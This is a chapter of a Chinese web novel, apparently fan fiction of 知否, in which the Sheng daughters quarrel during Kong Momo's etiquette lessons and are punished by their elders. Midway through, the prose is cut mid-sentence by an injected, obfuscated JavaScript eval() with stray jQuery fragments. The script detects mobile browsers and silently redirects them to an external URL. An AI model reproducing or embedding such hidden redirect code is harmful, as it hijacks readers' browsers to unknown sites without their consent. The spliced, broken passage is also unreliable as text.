74.第 74 章

作品:《知否盛老太太的双生子

    清晨,盛华兰、盛明兰、盛墨兰、盛如兰如往常一般在院子里学习礼仪规矩,虽说她们四人通过半个月的学习受益匪浅,可随着孔嬷嬷课堂的深入,除了盛华兰外的三人学得越发的吃力了,不过,盛如兰和盛明兰对此倒没什么执念,毕竟前者是被迫学习,自然随波逐流,后者本就是来培养姐妹之情的,这些个礼仪规矩的学习倒是次要的,只有盛墨兰对此十分在意。


    盛墨兰瞧着自己的学习速度越发跟不上盛华兰,心里暗暗焦急,不过,这也是正常现象,毕竟小学生与高中生之间的接受程度、理解能力都不同,可偏偏盛墨兰看似柔弱,实则要强,为了学会这些知识,一直缠着孔嬷嬷问这问那的,反倒是将盛华兰这个重点教导对象挤到了一旁,甚至盛华兰有时候明明可以学习下一部分内容,孔嬷嬷却因着要解答盛墨兰的疑惑只好放慢进度,由此姐妹间的矛盾直线上升。


    盛华兰忍了又忍,实在是忍无可忍时,便回去向王若弗提了一句,而盛如兰早就将这件事情看在眼中,都不知道向王若弗告过多少次状了,可王若弗即使气到要爆炸也毫无办法,毕竟她曾尝试在盛纮那告过盛墨兰的状,不过,盛纮心里偏袒盛墨兰,每次都拿“墨儿也是好学,姐妹之间自当亲和”之类的废话来应付她,她一个当家主母也不能和孩子计较,只能暗生闷气了。


    王若弗没有法子,只能任由盛墨兰这般有恃无恐的干下去,不过,有句话说的好,“不在沉默中爆发就在沉默中变态。”随了王若弗性子的盛如兰为着盛华兰爆发了,待到下午,天气有些干燥,孔嬷嬷刚讲完一段,只觉得喉咙有些干燥难耐,便让盛华兰她们练习给长辈安泰后,自个回里屋去用几勺茯苓膏润润喉咙。


    等孔嬷嬷离开屋内不久,盛如兰看着盛墨兰娇喘吁吁的坐到锦杌上歇息,不知道是天气原因,还是她想到盛华兰因着盛墨兰拖迟的进度,又或是王若弗在她身边叨咕盛纮不管这件事的原因,此时的她不禁觉着盛墨兰分外碍眼。


    盛如兰先前在心里憋的一阵阵气,瞬间喷涌而出,只见她脸上浮现出一抹冷笑,道:“四姐姐这般卖力学习礼仪规矩,可真是好学啊!不过,按理来说,四姐姐将来用到这些规矩的地方不多,如今四姐姐这般用心,好似将来一定用的上一般,须知不是谁都能高嫁的,莫要白费了心思才好。”


    盛如兰的话将盛墨兰的遮羞布撤了下来,可盛墨兰又不能直接和盛如兰硬碰硬,只能茶里茶气道:“孔嬷嬷说了,这些虽是虚礼,但宁可学着不用,也不能不会被人笑话了去,姐姐愚笨,又怕将来丢了家里的脸,索性多卖些力气。”


    盛如兰眼中闪过一丝嘲讽,语气微微上扬,道:“四姐姐竟然知道自己愚笨,那便应该识相些,别一天到晚的缠着孔嬷嬷,反倒拖累了大姐姐,大姐姐再过不久可要嫁入伯爵府了,况且孔嬷嬷再过一段时间就要走了,大姐姐再不学完就来不及了。”


    盛墨兰脸上浮现出一阵惶恐的神情,也不知道是装的,还是真被盛如兰吓到了,语气中满是争辩的意味,道:“五妹妹可是冤枉了我,我如何是缠着孔嬷嬷,不过是按照着父亲的吩咐来的,父亲要我好好跟孔嬷嬷学,回头他要考我,我不敢不从,不懂的地方自得问清才是。”


    盛如兰鼻孔里哼出一股气来,眼神轻蔑的看着盛墨兰,道:“你少在这里拿父亲压我,府中谁不知道孔嬷嬷是祖母特意为大姐姐请来的,大姐姐才是她的正经学生,连明兰妹妹都不过是来旁听的,教我们那,不过是捎带上的,你天天在这里抢大姐姐这个正经学生的学习时间,碍着大姐姐好好请教孔嬷嬷,难不成还有理了?!哼,真不知跟谁学的下作手段,见着别人的好,就喜欢抢别人的!”在场的人,除了盛明兰和府中原本的丫鬟外,谁都知道盛如兰是在暗示林噙霜。


    盛墨兰一听盛如兰这么说,脸一下子就涨红了,泪珠迅速在眼眶里蓄起来,颤声道:“五妹妹说的是什么话啊!我全然不知道是什么意思,什么下作手段?什么抢别人的?都是一个爹生的,不过欺我是庶出的罢了!好好好,我原是个多余的,何苦留在这世上碍人眼睛,不如死了干净!”她说完便伏案大哭起来,好似受了什么天大的委屈,那演技看得一旁的盛明兰及其丫鬟们目瞪口呆。


    盛如兰看到盛墨兰哭,顿时就急了,冲到盛墨兰面前,大声道:“哭,哭,你又哭!回回有事你便掉那宛如金豆子般大小的眼泪来装相,叫孔嬷嬷瞧见了,又说是我欺负你,好叫父亲罚我!你,你,你……”


    盛如兰又气又急的跺着脚,一时想不出什么话来骂盛墨兰,可又不想将这口气咽下去,脑子里突然闪过林噙霜的身影,语出惊人道:“回回遇事,你便哭的跟死了亲娘一般,我可怕了你了,跟你那个亲生小娘林噙霜一个样子。”


    盛墨兰听到林噙霜三个字时,便想起自己那三四年未见过面的亲生小娘,顿觉一股悲伤袭来,原本的假哭也变成了真哭。


    盛如兰看着盛墨兰相较于先前而言哭得更加伤心,且越哭越厉害,渐渐有些喘不上气来,身体一抽一抽的,顿时有些不知所措的站在原地。


    盛华兰一听到盛如兰提起“林噙霜”三个字就吓了一跳,这三个字现在是整个盛家的禁忌,谁不知道当年林噙霜企图污蔑盛瑾和卫如意有染,被盛纮送到了上庄子关起来,估计这辈子都别想回到盛家了。


    盛纮本就是个极其在意脸面和盛家地位的人,就算他将林噙霜接到汴州城的庄子上,也不敢让人出现在汴州城内,毕竟他怕有人瞧着林噙霜而想起先前在扬州城的事情,若是再传到汴州城中,无论是“兄长和弟弟的小妾有染”这顶绿帽子,还是纵容小妾污蔑损伤兄长清誉的不敬嫡兄之罪都能让他的仕途戛然而止,更何况这不仅会让他颜面扫地,还会损害他们这一脉乃至盛家的名声。


    盛华兰脸上浮现出一丝恼怒,她走到盛如兰身边,眼神中带着些许责备,低声道:“谁让你提起林小娘啊!这回父亲要发怒了。”


    盛如兰看着趴在桌子上哭得宛如亲娘去世般的盛墨兰,脸上浮现出些许懊悔的神情,跺了跺脚,道:“我一时生气忘了。”


    盛明兰在一旁看了一出好戏,她瞧着盛墨兰哭成这样,心里想着父亲祖母说过姐妹之间应该好好相处,再者,若是任由盛墨兰哭下去,待孔嬷嬷回来看到了也不好,只见她抓了抓自己的小脑袋,像是下定了什么决心似的,离开自己的位置来到盛墨兰身边,轻声细语,道:“墨兰姐姐,你别哭了,让孔嬷嬷瞧见了可不好,她还以为我们盛家女儿无家教呢,况且若是堂叔父知道了,也是要罚你们的。”


    盛明兰瞧着盛墨兰没有听进她的话,仍一意孤行的趴在桌子上哭,她思考了一下,斟酌用词,继续道:“再说了,孔嬷嬷过段时间就要走了,我知道墨兰姐姐不是故意拖累华兰姐姐的学习进程,你只是想让孔嬷嬷多指点一二,可是你这样,孔嬷嬷也教不了多少啊!不如墨兰姐姐委屈些,跟我一样,先囫囵记下孔嬷嬷教的东西,回头得空了,再慢慢自己琢磨,或是你有不懂的地方可以写下来给我,我可以拿去问陈嬷嬷和苏嬷嬷,然后回来告诉墨兰姐姐,这样既不伤了姐妹和气,又能多学些东西,不是很好吗?”


    谁知盛明兰不劝还好,这一劝,盛墨兰突然抓住盛明兰的手,一边哭,一边说道:“明兰妹妹,你去求求二伯父吧,让他去找我父亲,将我小娘带回来吧,我已经有三四年没有见过我小娘了,二伯父平日里最疼你了,你是他的亲生女儿,你去求他,他一定会同意的。”


    盛明兰被盛墨兰这一出给吓到了,挣扎的要离开盛墨兰,可盛墨兰并不理会她的挣扎,一边死死地抓着盛明兰的手,一边继续哭泣,哭的声嘶力竭,好似非把事情弄大一般,不,在盛华兰看来事情已经闹大了。


    盛华兰一下子冲上去,一把扯开盛墨兰抓着盛明兰的手,将盛明兰从盛墨兰手中夺出来,她看着盛明兰被盛墨兰吓的一脸惨白,外加盛墨兰在盛明兰手上留下的红印,心里不由得噗通了一声,暗道:“完了,明儿可是二伯父的心头肉啊!”


    盛华兰急忙抱着盛明兰,拍了拍盛明兰的背,语气柔和的安抚道:“明儿不怕啊!你墨兰姐姐胡说的,她都哭糊涂了,不怕不怕啊!”


    一旁的盛如兰早被盛墨兰这一出给吓到了,待回过神来后,便对着盛墨兰破口大骂,道:“你抓明兰妹妹做什么,她知道什么啊!你等着,我要告诉父亲和二伯父,你等着被父亲收拾吧。”


    盛墨兰睁着红通通的眼睛看着盛华兰怀中被吓的面色惨白的盛明兰,眼中闪过一丝害怕,她在丰国公府待了也有半个多月,自是知道盛瑾有多疼盛明兰这个女儿,当时脑子一抽造成了现在这个局面,她也不知道如何收拾了。


    屋里的动静早就有人去告诉孔嬷嬷了,此时,只听到身后的帘声响动,孔嬷嬷一脸寒霜由着随身的小丫鬟扶着回来,她冷眼瞧着屋内的情景,待看到盛华兰怀中的盛明兰一脸惨白样,心一下子沉了下去,她对着身边的丫鬟,冷声道:“去,让门口的丫鬟们候着,莫要让其他丫鬟进来,另外告知大娘子,待国公爷和二老爷回府后,劳烦他们前来一趟。”


    盛墨兰和盛如兰瞧着孔嬷嬷这般,脑海中只有一个念头,那就是完了,而盛华兰此时心里也忍不住打寒颤,道:“这件事情算是被如儿和墨兰闹大了。”


    孔嬷嬷对着另一个丫鬟道:“去,把二姑娘带过来。”她身边的那个丫鬟自是知道她说的是盛明兰。


    那位丫鬟来到盛华兰身边,行了一礼后,轻声细语,道:“大姑娘,请让二姑娘随我一同走吧。”


    盛华兰闻言,拍了拍盛明兰的背以示安抚后,便松开了盛明兰,让盛明兰跟着那个丫鬟回到了孔嬷嬷的身边。


    孔嬷嬷冷笑连连的扫了一眼前面的三个女孩,目光瞬间锐利起来,肃杀寒冬般的视线扫过她们,三个女孩不禁都缩了缩,不自觉的安静起来,老实的恭立一旁,心下都有些惴惴的,尤其是盛墨兰和盛如兰,今天的事情是她们挑起来的。


    屋里一时间只听见盛墨兰微微的抽泣声,起初她还有些心虚的小声哭泣,可过了一会儿,她瞧着没什么动静,胆子便大了些,一边拿帕子哭的梨花带雨,一边偷眼去看孔嬷嬷。


    盛墨兰害怕孔嬷嬷来问她发生了什么,可她心里又委屈,想让孔嬷嬷问,谁知孔嬷嬷根本没理她,更是一句话也没说,径直坐在正座上,叫小丫鬟端来三副笔墨纸砚和三本《女则》,一一摊摆在三个女孩面前,冷声道:“每人五十遍,抄不完以后也不用来学了。”


    盛如兰和盛墨兰带着满脸不服气的表情看向孔嬷嬷,可坚持不到一秒就被孔嬷嬷威严悍烈的目光给瞪了回来,只能讪讪的缩了回去,而盛华兰咬了咬嘴唇,提起笔就抄了起来,盛如兰见长姐都抄了,便也提笔抄了起来,只有盛墨兰有些不敢置信的看了看孔嬷嬷,眼泪也不流了,呆呆站在原地,不过,她看到孔嬷嬷看都不看她们几个,自顾自的拿起一卷佛经看了起来,最终还是无奈抄写起来。


    盛华兰一行人从下午抄到了黄昏,盛瑾和盛纮回到家中得知消息后,脱了朝服就往这边赶,随行的还有早就等得焦急的王若弗,待他们一进门,便瞧见坐在孔嬷嬷旁边的盛明兰,虽然时间已经过了许久,但依稀能从盛明兰微红的眼眶和惨白的脸色中看出她被吓得不轻。


    盛瑾瞧着盛明兰这般,心疼得不行,待对着孔嬷嬷行了一礼后,便大步向前抱起盛明兰,轻声安抚道:“明儿不怕啊!爹爹在这。”这样的动作着实让收到惊吓的盛明兰得到了不少安心。


    盛纮和王若弗瞧着盛明兰这般,又看到自家三个女儿在一旁抄字,瞬间心里咯噔了一下,这盛明兰分明是被人欺负了。


    王若弗对于盛华兰一向是放心的,可对盛如兰却拿不定主意,此时她的内心不由得暗暗祈祷道:“千万别是如儿欺负明姐儿啊!”


    盛纮满脸歉然的看着孔嬷嬷和盛瑾,又对着盛华兰三人低沉呵斥道:“孽障,自己闯了什么祸,还不说来?!”


    王若弗焦急的看着两个女儿,虽然她对这件事情有些许的了解,但此时也不好开口说什么,毕竟刘妈妈早就告诫过她,这件事情是她们这房姑娘们惹出来的,还殃及到了盛明兰,若是她开口说不好会得罪盛纮或盛瑾其中一人,因而最好的方法就是交由盛纮和孔嬷嬷来处理。


    盛纮瞥见自家兄长面无表情的样子,只觉得自己背后冒着冷汗,他现下必须先了解事情的经过,方才能做出决定,不然,盛瑾这关可不好过,可一旁的三个女孩谁也不敢吭声。


    孔嬷嬷见众人都到齐了,随即挥了挥手,紧接着她身边四个小丫鬟便训练有素、整齐利落的行动起来,两个出去把外头的丫鬟婆子隔出几米远,两个把房间里的门窗都关好,只留下几个心腹丫鬟婆子贴身服侍,待一切布置妥当后,孔嬷嬷才朝着盛纮、盛瑾、王若弗三人,行了一礼,道:“今日叨扰大家了,原本这事也无需惊动着这许多人,可既然老太太将姑娘们托付给我教导,我也不敢绥委延误,这才惊扰国公爷和盛大人、大娘子。”


    盛纮立刻拱手道:“孔嬷嬷有话请说,定是这几个孽障不省事,欺负幼妹,惹了孔嬷嬷生气。”他说着又瞪了眼盛华兰她们三人,三个女孩缩在一边不敢说话。


    盛纮随即又将目光放在盛瑾怀中的盛明兰身上,神情柔和,轻声道:“明姐儿别怕啊!叔父一定给你一个交代。”


    孔嬷嬷和煦的摇了摇头,轻声道:“说不上生气,只是姑娘们大了,有些是非却得辨一辨。”


    孔嬷嬷说完便请盛纮等人入座,盛瑾让盛明兰坐在他的大腿上,待众人都入座后,她才缓缓开口,道:“想必在来的路上已经有嘴快的将今天下午争吵之事告知了三位,不过,为着让三位了解事情的来龙去脉,我还是让烟儿将今天下午的事情原原本本说上一回给三位听听。”


    孔嬷嬷说完,身后走出个小丫鬟,这个小丫鬟走到中间,对着盛瑾一行人行了个礼,便把下午的吵架事件清楚的复述了一遍。


    这丫鬟年纪虽小,却口齿伶俐,声音脆亮,将今天发生的事情一字不差的说了出来,连四个女孩说过的话都一一转述,一字未减一字未加,盛华兰、盛墨兰、盛如兰听得脸红都羞愧,不声不响的保持沉默。


    盛纮和王若弗听到盛如兰提起林噙霜,并抓着盛明兰的手哭求时,心里一阵害怕啊!林噙霜是因为什么被送走关起来的,他们心知肚明,尤其是盛纮还钻空子打算将林噙霜接到汴州城外的庄子上住,他有些心虚的转头看了一下盛瑾,果然,盛瑾的脸黑得难看。


    等盛纮听完后,他大力拍着桌子,以掩饰心虚的怒喝道:“你们几个孽障,还不跪下!尤其是你墨兰,你堂妹才多大,你居然这样对她,你读书都读进狗肚子里了嘛。”


    盛华兰三人见盛纮一个读书人都被气的爆粗口,吓得想要连忙起身到盛纮面前跪下,此时,孔嬷嬷出声道:“姑娘们的膝盖金贵,别伤着。”


    盛华兰三人松了口气,还以为逃过一劫,谁知孔嬷嬷叫丫鬟拿出三个锦缎厚绒的蒲团并排放在地上,然后,点了点下颚,示意现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666933|71292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在可以跪了,女孩们只得一字排开跪下。


    盛纮把桌子拍的啪啪响,吼声几乎震动屋顶,指着下首跪着的盛华兰、盛墨兰、盛如兰,道:“孽障,孽障,你们如此不知礼数,胡言乱语,与那粗俗村姑何异,有何脸面做盛家后人,如若你们是儿子,将来还不得为了争夺家产,打个头破血流,岂不是兄弟阋墙之祸,罢罢罢,不如现下打死了了事!”他说着便要去取家法。


    王若弗原想要求情,可看着盛纮满脸怒气的神情,又看到一旁黑着脸的盛瑾,他家姑娘可是无荒之灾啊!绞着帕子不敢开口,只能用眼神求孔嬷嬷。


    孔嬷嬷面带微笑的摆了摆手,道:“盛大人不必动气,一味处罚也不好,总要让她们知道自己的错处吧,我即为四个姑娘的教养嬷嬷,托大些说,也算半个师傅,不如让我来教导并处罚她们吧。”


    盛紘起初只是想要罚盛华兰三人一顿让盛瑾消气,可谁知他越说越觉得自己说的有道理,将自己说得气急败坏到有些失态了。


    盛纮脸上略带些许歉意的表情对着孔嬷嬷,道:“嬷嬷涵养学问都是一流的,当初便是宫中的贵人您也是问得训得,何况这几个孽障,嬷嬷但问无妨,只是明儿就算了,这明儿是被欺负了的,就不用了吧。”


    孔嬷嬷闻言看向盛瑾,盛瑾也知道若是孔嬷嬷只说盛华兰三人,不说盛明兰,大抵会影响她们之间的姐妹之情,因而他黑着脸,微微点了点头,冷声道:“嬷嬷是姑娘们的教养嬷嬷,自是说的罚得她们的。”


    孔嬷嬷听到盛瑾的话,心里也有了定心丸,她随即来到盛华兰面前,道:“大姑娘你今天最大的错误就是没有阻止姐妹们吵架,你是盛大人的嫡长女,原就比两位妹妹更体面些,盛大人、大娘子、老太太是最宠爱你,日头长了,便养出了你的傲气,你这些日子一直忍着,心里憋着火,所以冷眼看着姐妹争吵。”


    孔嬷嬷神情严肃的看着盛华兰,继续道:“大姑娘我说几句不中听的,女儿虽是娇客,但那是在家当姑娘时千娇万宠,一旦做了人家媳妇,那可立时掉了个个,在婆家时,上下哪一个都不能轻易得罪了,你得恭敬侍候公婆、小心体贴夫婿、对妯娌小姑得殷勤赔笑,哪个做得不好,便都是你的错,如今你连阻止姐妹间的争吵都做不到,谈何以后呢,四姑娘和五姑娘争吵,你当大姐姐的应当想出个妥帖的法子来阻止,这样既让妹妹知道错处,又不伤了姐妹和气才是。”


    盛华兰脸上带着些许委屈的表情看着孔嬷嬷,忍不住反驳道:“嬷嬷,四妹妹从不听我的,我能有什么法子嘛。”


    孔嬷嬷冷冷道:“那就要看你的本事了,如今连这点姐妹之间的事都处理不了,出了门,成了婆家的人,那些个姑婆妯娌的,没有血缘关系的陌生人,你又如何解决相处,难不成还要让你爹娘去婆家撑腰嘛。”


    盛华兰向来聪慧,即使因着情绪原因影响自己的判断,可还是听劝且一点就通的,她沉思了一会儿给孔嬷嬷磕了个头,道:“多谢孔嬷嬷指点。”


    孔嬷嬷闻言,眼中闪过一丝满意,随即又看向盛墨兰,道:“四姑娘,你父亲对你不差,你是他疼爱的女儿,他对你如何,你应该是清楚的,今天你最大的错误就是想要道德绑架幼妹,让幼妹去忤逆父母来完成你想要做到的事情,你可知道你这是陷她与不义,你须知感情是会消磨的。”她说着便不再去看盛墨兰了。


    孔嬷嬷目光转而放在盛墨兰身旁的盛如兰身上,道:“五姑娘,你最大的缺点就是冲动,口无遮拦,依照我所言,你应该罚的最重。”


    盛如兰闻言,满脸不服气的撅着嘴,王若弗瞪了盛如兰一眼,盛如兰心里害怕的收敛了一下面部表情,道:“爹爹,母亲,孔嬷嬷我错了,爹爹饶了我吧,我下回不敢了。”


    孔嬷嬷微微摇了摇头,径直来到盛明兰身边,道:“二姑娘,你知道你最大的错误是什么嘛?”


    盛明兰端坐在盛瑾腿上,背靠着盛瑾,心里十分踏实,目光直勾勾的看着孔嬷嬷,语气中带着些许鼻音,道:“孔嬷嬷,我不,我不知道。”


    孔嬷嬷微微一笑,语气中带着些许轻柔,道:“我今日告诉你一个道理,一家子的兄弟姐妹,同气连枝,共荣共损,即便你一个人没有错,但你三个姐姐都错了,你没错也错,因而待会我要一同罚你,你可服气?”


    盛明兰清澈的双目中倒映出孔嬷嬷的样貌,九岁的她还是有些小动物般的直觉,她知道孔嬷嬷是为她好,因而微微点头,道:“服气。”


    孔嬷嬷说完姑娘们,又看向盛纮,道:“盛大人,我与老太太是故交,今儿我便厚着脸皮多说几句,这儿女众多的人家啊!父母最是要一碗水端平,才能家宅宁静,虽说姐妹应该相互谦让,但也应该今儿这个让,明儿那个让,没道理只让一头让,这日子长了,难免姐妹之间起了嫌隙,盛大人你说是不是?”


    盛纮听着孔嬷嬷的话想起往日里,自己的所作所为,这女儿还好,要是儿子之间起了嫌隙,那盛家可不长久啊!更何况嫡有嫡的过法,庶有庶的活法,若是一味地偏心恐惹出事端啊!


    盛纮想到这里,不由得思考起盛墨兰为什么会拉着盛明兰说起林噙霜呢,他猜测八成是有人在她耳边说些什么才引起的这桩子事情,他突然担忧起盛墨兰是否会对盛瑾产生怨念,再者,盛墨兰都这样了,那盛长枫呢,他是不是也这样想的呢。


    盛纮越想越是担忧,他的后背不由的冒出冷汗,心里暗道:“不行,我一定要查清楚到底是谁在捣鬼,我这一房决不能与二哥哥这一房起矛盾。”他这般想着便对孔嬷嬷连连拱手称是。


    王若弗和盛华兰听到孔嬷嬷说的话,盛华兰忍不住热泪夺眶而出,王若弗拿着帕子抹了下眼睛,母女两一起万分感激的望着孔嬷嬷。


    孔嬷嬷下达了最后判决:“现罚你们每人十下手板,回去把那五十遍《女则》抄好,明日谁没抄完,便不用来见我了!包括二姑娘。”众人都知道这个二姑娘指的是盛明兰。


    盛纮闻言,急忙出言维护盛明兰,道:“嬷嬷,明姐儿就不用了吧,她纯粹是被姐姐们连累的。”


    王若弗自知自家理亏,再加上盛明兰是老太太和盛瑾心尖上的肉,便也附和盛纮,道:“是啊!是啊!明姐儿今天都被吓到了。”


    盛瑾倒是没说什么,只是目光柔和的看着盛明兰,将决定权交由盛明兰自己,道:“明儿,你觉得呢?”


    盛明兰眼眶微红的看着盛瑾,眼中带着些许坚定,点了点头,道:“明儿答应了孔嬷嬷,就要遵守约定。”


    盛瑾将自己的脸贴在盛明兰的脸上,眼中闪过一丝笑意,语气中带着些许骄傲,道:“爹的好女儿,真棒啊!”


    一旁的盛如兰看到这一幕,眼中闪过一丝羡慕,至少在她有记忆开始,从来没有见过盛纮如盛瑾对盛明兰这样对她。


    等孔嬷嬷的惩罚结束后,盛纮立马让人将盛墨兰和盛长枫身边的人控制住,调查是谁怂恿盛墨兰的,而王若弗则是满脸辛灾乐祸的看着盛墨兰和盛长枫那边鸡飞狗跳,她也不想管那边了,只是嘱咐盛如兰别再提起林噙霜了。


    盛老太太看着盛明兰微微红肿的小手,眼中带着些许心疼,她没曾想过自家孙女会在府中受到惊吓,心里顿时对盛墨兰产了些许芥蒂,当即询问盛明兰是否还要继续上孔嬷嬷的课,毕竟她现下是一点也不想让盛明兰和盛墨兰待在一块了,可盛明兰坚持不能半途而废,因而她只能让盛明兰身边的丫鬟看着点,别让盛墨兰和盛明兰私底下接触,生怕盛墨兰再来这么一出。